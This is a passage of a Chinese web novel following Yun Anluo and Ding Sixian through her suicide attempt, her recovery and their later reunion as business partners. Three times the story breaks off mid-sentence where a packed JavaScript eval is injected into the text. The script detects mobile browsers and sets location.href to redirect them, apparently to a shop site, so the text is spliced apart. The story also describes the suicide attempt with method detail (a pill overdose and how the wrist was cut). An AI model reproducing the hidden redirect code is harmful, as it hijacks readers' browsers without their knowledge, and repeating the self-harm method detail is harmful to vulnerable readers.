还要感谢这趟从南菀车站到谭棠机场新建的城轨,丁似霰赶上了最后一趟。短短四十几分钟,他就到了谭棠大学。 失踪时间不到二十四小时。 但丁似霰和杨可期都有同样的预感。 云安洛怕不是有什么极端的操作。 丁似霰来过谭棠大学,但确实并不熟悉,这里多数的路他只在地图上见过。 他脑子一片空白,根本不知道该去哪里找云安洛。 她,肯定不是随便在哪个角落,如果只是想悄无声息的死了,没必要回谭棠。 那就只能是想用她的命换一次轰动,换一些阴暗浮现。 大三那次事情,是商学院副院长做的媒,她会不会是选择了文科综合办公楼? 丁似霰凭借着记忆里的地图,跑到了那里,却没有看到任何人。 他大口喘着气,感觉喉间有一股血腥的味道。 还能是哪里?他跑了一路,喊了一路,如今已经基本发不出声音了。 难道为了让更多人看到,去了他们的教学楼吗? 他在经管楼门口找到了她,那里弥漫着浓郁的花香和血的味道。 云安洛躺在楼门口的桂花树下,左手的手腕处是已经有些干涸的刀口。她被满地细小的落花和大片的血迹包围着,好像在完成什么祭祀。 她不喜欢桂花味道的。 丁似霰冲上前,一把揽起了云安洛。 男孩的声音沙哑,或者说是根本听不到什么声音。 “洛洛,醒醒!” 她没有任何反应。 丁似霰急忙叫了救护车,抱着云安洛向着校门狂奔。 可能人在极端条件下确实是很有潜力的。 直到云安洛被推出抢救室,转到病房,丁似霰才松了一口气,然后昏在了她床前。 疼,很疼。丁似霰感觉他每喘一口气,从肺到嗓子,都像刀割一样,还一直伴着一股若有若无的血腥味。 头也很疼,是另一种皮肉破烂红肿发热的疼痛感。 他醒来的时候,正好护士在给他换药。 “姐……我送来那个女孩……”他哑着嗓子,第一句话就是在问云安洛。 “还没醒,但是脱离危险了,你先照顾照顾你自己吧!”护士看着他,“晕倒的时候撞到了门框,头上刚缝了两针,而且肺部感染了还敢剧烈运动,你不要命了?” “还是要的,”丁似霰笑着,“但她的命也得救一救。” “你要是去看那个女孩,也慢点走,不行就找个人用轮椅推你过去,千万别再剧烈运动了。” “好,谢谢姐。” 丁似霰去到云安洛病房的时候,杨可期已经到了,守在云安洛床边。 她看到站在门口,穿着病号服的丁似霰以及他头顶那块白色的,渗着一点药物颜色的纱布,瞪大了双眼。 杨可期走到门口:“情侣服??” “整个医院一起配对那种?”丁似霰声音还是很嘶哑,他靠着门框,看起来并没什么精神,“她醒了吗?” “没醒呢,要去看看吗?”丁似霰的异常很容易发现,杨可期问道,“你嗓子怎么了?” “……没什么大事,”丁似霰走进了病房。 “你……你坐,我去买点东西。”杨可期给他们留出了单独相处的时间,跑出去给云安洛买一些必需品,估摸着,至少要在医院住三五天了。 丁似霰坐到乔洛床边的凳子上,看了看她的吊瓶,又看了看自己手上的留置针,不由笑了,“这算什么孽缘。” “放心,我会帮你把你想做的事做了,凌晨的救护车已经在谭大惹起了不少轰动,你流一地的血啊,没那么容易清理干净。 你也不想一想,要是真死了,发现你的人把你放手边的东西都藏起来了,不就白死了? 或许你能听到我说什么吧?反正我感觉我晕过去的时候,好像能偶尔听到旁边的声音。 我和杨可期能立刻想到……咳咳……你要做什么,是因为我们也找不到你活下去的理由。但那只是从这些遭遇来讲。 人为什么要活着我也不清楚,但我不想让你死。 找点自己喜欢做的事情,有个盼头总归日子好过很多。” 丁似霰站起了身,深吸了一口气:“抱歉,我也没办法一直在你身边,救得了你一次,但要是再有下次谁也不知道还有没有机会,我只能盼着你,别犯傻了。” 丁似霰看着云安洛,沉思了很久。 他蹲下身,趴在云安洛枕边,声音竟带了些哭腔:“我好像……能猜到你在想什么,你不过就是,感觉这世上已经没有谁,离开你活不下去,你的命算不上重要…… 但是我想告诉你,我在乎,哪怕不能和你在一起,哪怕用我自己的命换我也会毫不犹豫地去找你…… 以后好好的活着,好不好? 就当……哪怕有那么一点点是为了我,给我,留个念想,好不好?” 云安洛其实已经醒了,在丁似霰说人为什么活着他也不知道的时候。但是她没有睁开眼,还装着昏睡。 她要是醒了,就听不到这些话了。 耳边,好像有泪水滴落的声音。 听起来,好大一颗泪,帅哥落泪一定很好看,不能睁眼,真可惜。 “好啦,我要走了,好好养着吧,实在不开心就离开谭棠,这又不是什么好地方。” 云安洛还在心中喊着,别走啊,再唠会,这一走又没影了。 嘶,脖子有点痒,好像是哪几根不听话的头发掉过来了。 她感觉到,丁似霰轻轻的,把这缕头发帮她放到了耳后。 指尖若有若无地触感让人有些慌乱。 然后,云安洛的手腕,被丁似霰小心翼翼拖起,搁着厚厚的纱布,似乎有一个很克制的吻落了下来。 丁似霰离开了。 云安洛睁开眼,躺在床上看着天花板。 她就多吃了几片姥姥剩下的安眠药,到底是谁说的服用过量安眠药会在睡梦中死掉,拜托,真的很难受,死不死不知道但是超级想吐,脑子晕晕乎乎的好像梦魇了一样,再多吃点这也不可能死啊。 刚洗过的胃有点疼,太灾难了。 还有那个割腕,不是说好的淌点血之后自己就能干巴上吗?然后淌一地血能吓唬人。 好死不死的云安洛有些遗传乔连富的破身体,血小板偏低,这两天可能也快经期了,所以……凝固的速度慢出了她的预料。 现在可倒好,左边手腕包的严严实实,估计还缝了几针吧?没死成是真的,留下的疤也是真丑。 云安洛两腿在被子下交叠,缓慢地抖着腿。 丁似霰怎么跑这么快,就不能再唠五块钱的吗? 好无聊啊,好困。 云安洛再次醒过来时,睁眼看到的是杨可期。她有些带着笑意开口:“早上好啊,杨小狗。” “你……”杨可期万万没想到云安洛张嘴第一句话是叫她小狗,“你知不知道你就差了0.03毫米你就把你左手的肌腱割断了! 胆子肥了是不是,你还自杀!你自杀就算了你还选这么个时候,你就没想过你要是真死了我得一辈子后悔当初去跟他们进山弄什么义诊!”杨可期放下了手机,直接扑到了云安洛身上抱着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908952|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她哭,“我不要什么毕业证了我以后就看着你……” 云安洛抱着杨可期,像在拍小孩子一样拍着她的背,“好啦,放心,本来我也不是真想死,就是吓唬人没把握好度,这不是没经验嘛。” “你还想有经验?” “没,我就是说实践出真知,单看网上的说法确实不太靠谱。” 杨可期起身,幽怨的看着云安洛,“那小子呢,怎么走这么快?” “他去帮我干活了。” “什么?” “不知道,应该是去谭大找事了吧?我准备的证据都被他拿走了,反正我也有备份。他总不至于去帮那些人毁尸灭迹。” “那倒是,但你这个办法真的太蠢了。” “你想啊,我还能怎么办呢,我现在只能知道祁利和爆炸有关系,孟杰礼只是个小警察,很多事情他查不到的,用我死把这些事情翻出来,不是很划算吗?” “我划算你个大头鬼!”杨可期翻了个白眼,“你既然知道,他们很有能耐,就应该明白你一个人死就死了,根本影响不了他们,我敢保证你要是真死了,顶多谭大随便给你安一个休学之后对学校政策不满报复学校的名声,你那些所谓的证据,没有一份会公之于众。” “你和丁某人说得好像哦,”云安洛很无奈,“我也是鬼迷心窍了,以后再想怎么办吧!” “嗯?你刚才和他说话了?” “没,我哪敢醒啊,我醒了他保准又三脚踹不出一个屁来,我装睡呢,听到他说什么了。” “你们也是真别扭。” “也不完全,我俩确实现在也不适合在一起,都一堆破事缠着,有缘就以后再说吧。” 云安洛好像又想起了什么事情,“可期我跟你说,他抱着我往救护车上跑的时候我还有点意识,他那个胳膊贼硌得慌,我感觉他身上都已经没有几两肉了。” “看着确实不咋健康,他手上也有留置针,不知道什么毛病,不过我看着像肺子的事。” “好像他是一直咳嗽来着,他是怎么三年把自己熬成这个惨样子的。” “瘦但是有劲,还是可以考虑考虑的。”杨可期对于丁似霰在他自身就不太健康的前提下还能抱着云安洛跑这件事,表示非常认可他的能力。 “以后再说吧,我算是终于明白了,为什么说生活一地鸡毛的时候是没心思恋爱的。” 后来,谭棠大学商学院的副院长因为被爆出学术不端,拿掉职称,被开除了。 至于他和祈利的黑暗买卖,并没有女孩子愿意承认自己那段不堪的过往,又或许主要是因为祁利会把这些“小事”处理干净。 云安洛也懂,不能用其他人的痛苦换取自己利益的这个道理,这件事也就作罢了。 祈利,建材公司,那就等她杀进建筑行业,再来算账吧。 换药的时候,杨可期看着云安洛的刀口不禁感叹:“你是真狠啊,一刀就喇这么深。” 云安洛伸出右手,内侧向上举着,然后整只手向下一弯,手腕处就绷紧了些,“这样,然后使劲割一下。” 杨可期十分无语,“你还,很骄傲?” “那倒是没有,”云安洛每次这种略有些讨好地笑着时,眼睛都会眯成一条小缝,“相信我们可期一定会给我弄点去疤的药膏然后让它消失不见的。” “我给你涂点增生的,看你还敢不敢作死。” 有人刚刚恶狠狠威胁完人,掉头就回学校找老师去咨询去疤膏了。 或许是中国人刻在骨子里的观念,都读了这么多年,一张毕业证都没有,太亏了。 而且有本科学位证才能考研。 云安洛回了学校,所幸大三下学期只有一门必修,其它都是专业选修,这学期忙点,下学期再补点,也还能把毕业证忽悠到手。 第二年七月,云安洛拿到了她的本科毕业证。 丁似霰入职洋筑建筑公司。 许志去了一家游戏公司。 杨可期开启了她大五的实习生活,她还要在南菀生活至少四年……如果没有延毕且不读博士的话。 云安洛回到了奉州,谭棠那个地方她确实是不想继续待了,奉州建筑大学的建筑学仅次于谭棠大学的建筑学,如果能考进去也不错。 她在奉州建筑大学里租了一个小铺子,开起了火锅店。倒是没想过赚多大钱,只是感觉,广结良缘。 像杨可期所说,云安洛可能就命里带财。那火锅店从开业开始,客人就源源不断。 再加上当初用乔连富的钱买的铺子年年都有租金,只要云安洛不做点什么过分的事,小富婆这辈子安稳无忧不成问题。 在姜亦瑶的引荐之下,云安洛还认识了五个为爱发电的配音爱好者。 小富婆也很有实力,当年冬天,就考上了奉州建筑大学建筑学的研究生。 比较灾难的是由于云安洛考不过六级,她的研究生课程还要有英语。 云安洛认识了个颇为有趣的人,叫叶易,是个博士生,在做助教的时候看起来怨气极重,尤其是早八。 她终于找到了乐趣,打比赛的乐趣。 杨可期说她疯掉了,连打游戏都是在我的世界里盖房子。 研二的时候,新柳县变成了奉州市新柳区,云安洛名下的五间商铺皆在中心区,身价暴涨。 为此,云安洛把她的游戏地图做了全部免费处理,为期一个月。 云安洛研二结束,叶易博士毕业,云安洛和叶易一起成立了易安设计所。云安洛下了血本,卖了一间铺子,在新柳区新建起来的滨华大厦买了两间连着的小屋。 这座刚刚被扩入省会的小区县,正是建设的好时候。 开业当天,一棵巨大的发财树和一串开过光的十八子一起送到了设计所。 “这是?”叶易并不知道礼物的来源。 云安洛笑得十分满足,“网友。” 一只,披着互联网当羊皮的熟人老狼。 61. 你很闲吗 2018年,八月下旬,奉州市新柳区中心商场……附近的,并没有严格管理的野生停车场。 云安洛拎着一个不算太大的购物袋走在前面,丁似霰跟在她身后,拎着一个更大的袋子。 她穿着浅蓝色的阔腿牛仔裤,配着图案略显花哨的白底衬衫,衬衫并没有规规矩矩压在裤子里,而是留着下面两个扣子没有系,拽起两角打了个很随意的结。 她两边的袖子都挽到了肘部,一手拿着外套,一手拎着袋子,左手手腕上带着的串珠露了出来,手臂的肌肉线条若隐若现。 头发用一根簪子高高盘起,有一些碎发随着风和步伐轻轻飞动,阳光散落下来,好像给她的发丝镀了一层柔光。 丁似霰看着她,只觉得十年未见,她更让人挪不开眼了。 “毁了。” 哦,这张嘴,还是原来的配方。 云安洛看着自己被堵住的车,很是无语。她就不该主动问要不要送丁似霰回家,这人就不可能拒绝,如今要一起等不知道多久,想想都尴尬。 丁似霰笑着把购物袋放在后备箱里,看起来竟有几分期待:“叫车主来挪走就好,不着急,我很闲的。” 就在刚刚,十几分钟前,云安洛找了许久旺仔小馒头无果,偶遇到丁似霰,他说帮她找找。 “你很闲吗?”云安洛脱口而出,而后又迅速反应过来连忙改口:“不是不是,我是说太麻烦了,我自己……” 丁似霰:“没事,我确实挺闲的。” 那挡路的车主在拔牙,又不能把他从诊所拽出来挪车,两人只好钻进车子里躲太阳。 云安洛认命般打开车窗,想透透气,“还要好久才能出去,你要不然……” 丁似霰笑着回答:“我很闲的。” 记仇是吧?云安洛闭上了嘴,生怕自己再说出什么奇怪的话。 “真的很闲,我回来有工作,下周一才去谈,”丁似霰解释道,“今天是周六,确实没什么事情要做。” “我好多年没回来了,新柳还真是变了很多,”他自己找着话题,“你买这些东西,是要做什么吃的吗?” 云安洛撕开了一根棒棒糖放进嘴里:“嗯,做点雪花酥。” “洛洛,晚上一起吃个饭吗?” “晚点的吧,我得先回去把雪花酥做出来,明天要去福利院……” 不对,吃饭?吃什么饭?云安洛才反应过来,自己好像答应了丁似霰和他吃晚饭,“你不是说你回来有工作吗?不和你同事吃饭?” “周末不用管他们的,说起来我还没见过雪花酥是怎么做的。” “你想看我做?”死嘴,他肯定想啊,这不是引狼入室吗,云安洛又一次嘴比脑子快。 “好啊!”丁似霰应得很是愉悦。 阴谋,绝对是阴谋,他就在这里等着呢。 四十分钟后,云安洛带着丁似霰,回了她的家。还是十几年前的房子,布局没有变,甚至连家具都没太改变。 不过这次他学聪明了些,在楼下提前买了拖鞋……当年那双40码的小兔子拖鞋早就已经老化坏掉了。 丁似霰被云安洛安排坐在客厅的沙发上。他拿起茶几上已经包装好的雪花酥看了看,“也是你做的?” 云安洛在收拾刚买的东西,扭过头看了一下,随口答道,“嗯,周一做的,我忘记加水怡锁水了,应该有点硬,口感可能不太好。” 她刚刚回过身继续把新买的食材放进冰箱里,突然想起了什么,猛地一回头,“你你你,放下,那里面有花生!” “啊……”丁似霰悻悻地放下了手里的雪花酥。 “新做出来的更好吃,我今天不放坚果。” 片刻后。 云安洛看着桌子上摆放整齐的雪花酥,听着水池传来的刷锅声,不由在心中感叹:干活麻利,勤快,做菜还很好吃。 啧,丁似霰,还真能当个贤夫。 云安洛拿起手机,飞快地打着字: ——我跟你说,你绝对猜不到我现在跟谁在一起! ——嗯?你遇见阿飘了? 手机另一端是杨可期,她现在已经是一个命苦的中医博士生了。 ——比阿飘恐怖,我在超市买东西的时候碰见丁似霰了,我还把他带家里来了。他现在竟然在我家厨房刷锅! ——我去,你俩进展这么神速,都登堂入室了? ——不是不是,就单纯,做客,对就是做客。 然后他还喊我晚上一起吃饭。 ——吃呗,你不是也一直惦记他嘛,正好见了面然后直接把他就地正法! ——不是,就很诡异你懂吗?我虽然想见他,但真见到了又很尴尬,也不知道该说什么,而且我现在眼睛都不知道该往哪放…… ——给他浑身上下扫描,想看哪看哪,你就让他脱光了给你看他说不定也能同意。 祝你好运哦~不说了我得去查房了。 云安洛看着手机里的消息不由得摇摇头。 很差的提议,下次不要再提了。 丁似霰听着云安洛的指甲快速和屏幕碰撞的声音,大概知道她在干什么。 她也不大冷静。 那就好,至少,他还是一份特别的存在。 不得不承认,丁似霰刀功比云安洛好上很多,这将是云安洛第一次带着矩形雪花酥去福利院,以前那些,都是梯形的。 她捏起一块不规则边角料扔进嘴里,满意地点点头。虽然丁似霰第一次做,但味道真不错,看来这人除了做饭,做甜品也能很好。 “好吃吗?”丁似霰两手都带着手套,还有一小半没有切完。 云安洛鬼使神差地拿了一块递到他嘴边。 他愣住了,盯着那块雪花酥眨巴着眼睛,大概是有些紧张,咽了下口水,喉结亦随之滚动。 很好看。 而后,丁似霰小心翼翼叼走那块雪花酥,仰头塞进嘴里。 “挺……好吃的。”云安洛也带上了手套,开始把切好的小块装进包装袋里面。 “嗯。”丁似霰点了点头,云安洛喂给他的那块,属实大了点,他还在嚼。 许是注意力不太集中,云安洛装袋装得有点慢,丁似霰已经把雪花酥都切好了,她还没有装到一半的数量。 丁似霰便坐到云安洛身旁的凳子上,和她一起塞着雪花酥。 云安洛曾经有一个略有些丧气的想法——地球没了谁都一样转,就算这辈子和丁似霰再也没有缘分,也不影响活着。 但确实,她这些年与那个叫小d的网友,接触甚密,早就超出了正常朋友的关注度。 只是,真真切切再见到丁似霰这个人,和之前在网上披着伪装皮聊天以及在朋友口中提起他的感觉,都不一样。 真的见到了,云安洛就很想,把他留在身边,再也不放走。 真要命,她怎么会有这种想法?之前说好的这是个人不是个物件,她不能去干涉呢??? “这个要怎么封口?” 丁似霰的声音把云安洛的思维略微拽回来一些。 不过,云安洛此刻的关注点并不在手里的小甜点上,而是一直在看着丁似霰。 自从开了些窍之后,云安洛就发现自己很难不欣赏丁似霰这张脸,无论是过去还是现在,甚至是这些年间偶尔回忆起来看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908953|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看照片也还是会感叹一句:这小子确实长得好看。 他头发还是不少,没有做任何发型,但大概早上洗过,反正小顺毛看起来乖乖的。 胶原蛋白流失之后眉骨和鼻梁都更英气了些,嘴唇颜色有些淡,不过倒还不至于发白。 喉结,嗯,喉结还是很明显,刚刚这样在侧面看着,云安洛还是有一种莫名其妙想摸一摸的感觉。 这些年过去,这人非但没晒黑,怎么感觉还比过去更白净了? 他这时正捏着袋子看向云安洛,眼睛还是亮亮的,一丝倦意揉在带着笑的眼眸中……这画面多少让云安洛有些非分之想。 云安洛才发现,他怎么瘦了这么多?身上这件白T感觉松松垮垮的,多亏肩骨够宽还能撑得起来。 他手上的骨头和血管都很明显,不是说那种青筋平时就很明显的是体虚吗? “你现在有一百二吗?”她今天真的注意力很涣散,根本没有留意丁似霰问的是什么。嘴在前面跑,脑子在后面追都追不动,“怎么好像比高中的时候还瘦?” “肯定还是有的,虽然好久没量了。”丁似霰也不介意她跳跃的问题,问什么便答什么,“我这个身高如果连一百二十斤都没有那就是一具骷髅。” 她对男生的体重一直没什么概念,只是记得他高考的体检单,185.1cm,71.4kg。如今看起来,比高三还瘦。 用现在的话来说就是,细狗,纯纯细狗。 也不知道这小身板是不是被他自己祸害的更糟糕了。 “就是用封口机压一下,”她摘下手套,在抽屉里掏出了一个小夹板,“类似于夹头发那种夹板,但温度会更高一些,烫到手会更疼。” 这两个人,把天聊得支离破碎,却也做到了句句有回应。 丁似霰继续做着重复的动作,打包。 “还有袋子吗?”丁似霰问道。 包装袋没了,盘子里还有一小半没有装进去。 “不用装了,孩子吃多会牙疼。” “那我可以吃吗?”丁似霰一脸期待。 云安洛看了他一下,点点头。这家伙怎么还是这样喜欢吃甜的? 得到了允许,他倒是吃的也不快,但确实一块接一块…… “你饿了?”云安洛不禁加快了封口的动作,“不齁得慌吗?” “有点,刚去超市本来是打算买点吃的。”他说着,又咬了一口奥利奥味道的,“不齁,这个我感觉比草莓的好吃。” 云安洛看了一下墙上挂的时钟,现在才下午三点,他这是什么用餐时间? “你几点吃的午饭?” “没吃,我十一点半才下飞机。” “飞机上不是有餐食吗?” “太腻,吃了不舒服。” “早上也没吃饭?” “嗯……一块巧克力。” “还行,没缺心眼缺的太彻底,还知道不能把自己饿死,”她有一种两眼一黑的感觉,“空腹吃这么多甜的你也不怕反酸水。” “还好,没多少。” 云安洛拔掉夹板的电源,轻轻拍了一下丁似霰那只正在准备拿下一块雪花酥的手,“别吃了,走,吃饭去。” 他指着桌子上剩下的一小堆依旧开着口的袋子,“不怕风干吗?” “干不死它们。”她没有任何打扫战场的欲望,好像现在想的只有带他赶紧去吃饭。 丁似霰好像还有一些恋恋不舍。 云安洛撑起一个吐司袋,随手抓了几把雪花酥塞进去,递给丁似霰。 “祖宗,给你带回去,吃饱了之后慢慢磨牙,现在立刻马上跟我吃饭去!” 62. 养猪 星期一。 云安洛睁开眼睛时,窗外的阳光强度还不足以完全穿透她那不算太遮光的遮光窗帘。 她打开手机锁屏,6:27,真是个糟糕透顶的时间。 但是,谁过了这么一个离谱的周末也不会一觉到中午的吧? 她不自觉地在脑子里回放着这两天的事情。 那天,她和丁似霰,竟然去吃了……自助盒饭。 嗯,物美价廉,才十三块钱一位还赠一瓶矿泉水。 太荒谬了。 当时云安洛问丁似霰想吃什么,他说都行,都行最难伺候。 在她的强迫询问只下,丁似霰说好久没吃自助盒饭了。 好吧,南菀似乎确实没有这种盒饭。 那个时候没到饭点,她竟然开着车跨过了半个新柳,去新柳和东滨区的交界处找了家二十四小时营业的自助盒饭。 跨半个新柳也就二十分钟左右,这个小县城就算被奉州市纳了进来,也改变不了它市中心,哦不对,现在只能说区中心,只有这么大的事实。 然后星期天,他竟然又和她一起去了福利院,美名其曰,闲着也是闲着。 好,这是彻底记住了云安洛那句“你很闲吗”。 福利院。 孩子们接过雪花酥,然后用一声声赞美把云安洛淹没。 哦,这感觉真爽。 “洛洛姐姐,下次多做点奥利奥的好不好~”一个小女娃娃坐在云安洛身边的长椅上,用她仅剩一个且不算太牢固的门牙艰难地咬着手里的雪花酥。 昨天,云安洛只是顺手抓了好几把雪花酥,一股脑塞进袋子里。 可能是凑巧,也可能是因为丁似霰说了一句他更喜欢奥利奥味的,云安洛下意识就拿了很多这个口味。反正结果就是她晚上回家继续打包的时候发现奥利奥味……所剩无几。 云安洛使坏一般指着丁似霰,“怪他,他昨天私吞了很多。” “洛洛姐姐,明明是你给我装的,怎么能算我私吞?”丁似霰一脸疑惑,但还是很顺从地蹲下身,和小姑娘平视,“小妹妹,下次给你做好不好?” “祖宗,别叫我姐姐……” 就算已经过去了十几年,“洛洛姐姐”这四个字从丁似霰嘴里蹦出来,还是会让云安洛感觉……羞耻。但很奇怪,她还有点喜欢听,所以当初来福利院的时候让孩子们这样叫她。 云安洛看着丁似霰逗小孩,不免又有些陷入了,观察。 应该是叫观察,反正就是忍不住总是想看着他。 他相较从前,变了许多。倒不是长相,只是那种感觉。 高中时的丁似霰还带着些青春期少年的张扬,温和又热烈。如今……他虽是满目笑意地同孩子们说着话,但云安洛感觉他很累。 他竟然长出了不少白头发。 严格来讲,他今年还没有过生日,那就是二十七岁……早生华发,少白头这是? 两个小时,这家伙就收服了大半的孩子。那群小孩不叫他哥哥也不叫叔叔。 叫大王。 丁大王还忽悠小孩送他礼物。 倒也不算忽悠,孩子是心甘情愿给大王献宝的,鬼知道丁似霰用什么话术诱惑的这小叛徒,还是空手套白狼。 献的是什么宝来着?好像有一个是上个月云安洛哄小姑娘随手编的小项链,做的还是松紧扣。他松松垮垮地戴在胳膊上,最后当成了臂环扣在大臂上。 大王,戴了一个粉色的臂环。 “大王真美啊!”云安洛对着他比了个大拇指。 离开的时候,丁似霰头上戴了两个孩子们编的花环,他还拿了一个献给洛洛姐姐。 如果不是知道丁似霰周一有工作,云安洛都要以为他会跟着她去参观易安设计所了。 这周末虽然过得,很意外,但……不得不说,也挺好的。 想着想着,云安洛就又睡着了,六点多,确实不是她的起床时间。 9:33,云安洛被手机来电铃声吵醒。 “云小姐,早上好呀!”电话那端,是叶易的声音……理论上来讲算她的上司,也是合作伙伴。 嘶……投资方兼房东和管事的,到底谁是谁上司? “叶扒皮,早上坏。”其实距离她闹钟响起来也只有不到十分钟了,云安洛也没什么起床气,伸了个懒腰,摁开免提,把手机放在枕边。然后继续在床上摆大字,和天花板对望。 “我还扒皮呀?你天天十点多上班我都不管你呢!” 易安设计所里人不多,大家秉承的原则就是不管几点上班,接的活按时干完就好。但这并不妨碍云安洛就是喜欢给人起这些符合人物特性的小外号。 叶易又继续说道:“你收拾收拾早点过来,洋筑的人已经到了。” “什么养猪?”云安洛显然还没有太清醒。 “洋筑,南菀那个建筑公司,人家已经过来了,你快洗洗脸醒醒吧!” “南菀”这两个字让云安洛彻底清醒了。 丁似霰也在南菀,他好像是在建筑公司上班……不会吧? 云安洛翻了个身,和手机扬声器离得又近了一些,“那些人里面,有没有……姓丁的?” “有啊,你是不是又没看我给你发的文件?领头的叫丁似霰。” “啊?”云安洛感觉脑子被炸了一下。 “啊什么?你认识?” “额……认识,你先招待着吧,我一会就过去。”说完,云安洛就挂断了电话。 定好的时间明明是十点半,丁似霰那厮怎么上班这么积极? 她平时从起床到抵达设计所,二十分钟就搞定,起床,上厕所,洗脸刷牙,换身衣服,在楼下早餐摊看看,还有筋饼就买一张,不然就随便弄点什么可以吃的垫一口,然后开车六七分钟就到公司了。 今天也一样,飞速把自己收拾得可以见人之后,云安洛就打开了房门。 她又退回来了。 该死的,车钥匙没拿。 出门太早了,早餐铺子还满乎乎的。太遗憾了,今天不太适合在办公室里吃早餐,她只买了一袋豆奶就匆匆离开。 奉州市新柳区滨华大厦,19B层。 云安洛推开易安设计所的玻璃门,并没有看到丁似霰。她探头四处看了看,也没有看到叶易。 “洛姐,他们在你画室呢!”设计所的小张探出头来。 所里都叫她洛姐,实际上云安洛比小张仅仅大了一岁。 画室?那不就是个小破杂物间,被她收拾出来留着发呆偶尔画两张画吗? 哦对,里面还有之前竞标的稿子。叶易一直很欣赏云安洛的才华,有机会就要和别人展示她的画稿。某些时候,云安洛感觉,叶易更像是把她当成妹妹或者是崽子在养。 她点了点头,把手里的豆奶一饮而尽,扔进垃圾桶,然后有些蹑手蹑脚地走去了杂物间。 咳咳,喝急了,有点齁。云安洛中途改道去接了杯水顺顺气。 还没等到她做好心里建设,杂物间的门就打开了。 叶易笑嘻嘻地在和丁似霰说些什么。 云安洛放下杯子,走了过去。 “好看吗?”她问的是画。 “好看。”丁似霰回答的,不知是画还是人。 她今天穿得没那么花哨,还是衬衫,只不过是纯黑色的,规规矩矩压在她的深蓝色阔腿牛仔裤里,头发还是用簪子挽着,好像换了一种挽法,有些露出了她的发尾,那里还有她很久之前漂过发的痕迹。 “洛姐好,我叫李开颜!”丁似霰身旁,一个看起来很年轻的小伙子,非常热情地向云安洛伸出手。 云安洛礼貌地伸出手,浅浅和他握了一下,“你好,云安洛。” 除了丁似霰和李开颜,他们同行的还有一个人,那人似乎不是很爱交际,只说了自己叫苗宇。云安洛用职业微笑对着他点了下头,当做打招呼了。 云安洛有些皮笑肉不笑地看着丁似霰,又伸出了手,“丁先生,你好呀。” 那人好像等了很久一样,巴巴地把手伸了过来,握住了她。 云安洛用了很大力气,就像学生时代整蛊同学那样,用力攥着对方的手,还偷偷弯起食指抠着丁似霰的手心。 这手虽然没有很热,但至少不太凉,看来还没虚得太彻底。 “丁似霰,合着你周末两天时间,早知道合作的是我,你一句不提?”云安洛的声音像是从牙缝里挤出来的一般。 “你也没问,对吧?”他倒是坦然。 云安洛一向不喜欢看这些东西,她只管画稿子,其它的事情交给叶易来干,合作伙伴嘛,很多时候总要有一个来当老妈子的角色。 这次也一样,她只听叶易说了一下是南菀的人,没多想也没兴趣看具体是谁。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908954|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你说得对。”没办法,确实她没问。 云安洛想抽出手的时候,竟然还感觉到丁似霰微微拉了她一下。 怎么?被抠着有瘾? 丁似霰悄悄看了看手心上红红的指甲印,她握手的力气不小,抠人却没使多大劲,不疼,怪痒的。 工作室里有一个小型的会议室,出于尊敬,他们还是去了会议室里细聊。 就是易安设计所出设计稿,洋筑建筑公司承建的合作事项,倒也不复杂,这三个人纯属就是借机会公费来奉州旅游,顺路聊一下合作。 “洛姐,我之前看网上说牛记的拔丝地瓜特别好吃,还有干煸茶树菇和酱肘子,我们能去吃那家吗?” 云安洛提了一下中午去吃饭,她请客。李开颜迫不及待地说起了他在网上查到的美食。 “你能不能吃点值钱的东西,我说我请客诶?”云安洛倒是很喜欢李开颜这孩子,用那些长辈夸孩子的话来讲就是,这孩子大大方方敞敞亮亮的。 说白了就是嘴碎话多,还自来熟,但是很招人喜欢。 “那我一会多点俩菜,嘿嘿。” “正好我有牛记的会员,小伙子有品啊,他家水煮肉片也好吃。” 云安洛看了看没有说话的那三个人,想咨询一下意见。 很棒,这个提案全票通过。 吃过饭和那三个人道别后,云安洛和叶易又回到了设计所。 两人各自在工位做着自己的事情,也没有什么交流。 夕阳西下,窗外太阳的余晖在提醒着办公楼里的人们,该下班了。 叶易抻了个懒腰舒展筋骨,他扫了一眼云安洛的小隔间,门是开着的,里面并没有人。 又过了十多分钟,她还没有回来,这可不常见。 云安洛平时连去楼下取个外卖都得让叶易代劳,现在竟然不在办公室,尿遁也不会这么久。 叶易站起身,敲了敲杂物间的门。 没有人回答。 奇了怪了,人呢? 他打开手机,给云安洛发了微信。 ——翘班了? ——在天台看日落。 ——我可以一起看吗? 云安洛喜欢和叶易相处,他这个人分寸感拿捏得很好,又足够有实力,让云安洛可以不用去管那些她不喜欢的交际问题。 她的回复很简单,只有一个字:嗯。 叶易走进天台的时候,就看到了那个有些孤零零的背影。 她坐在地上,面朝落日,手里还在不停地摆弄一些什么东西。 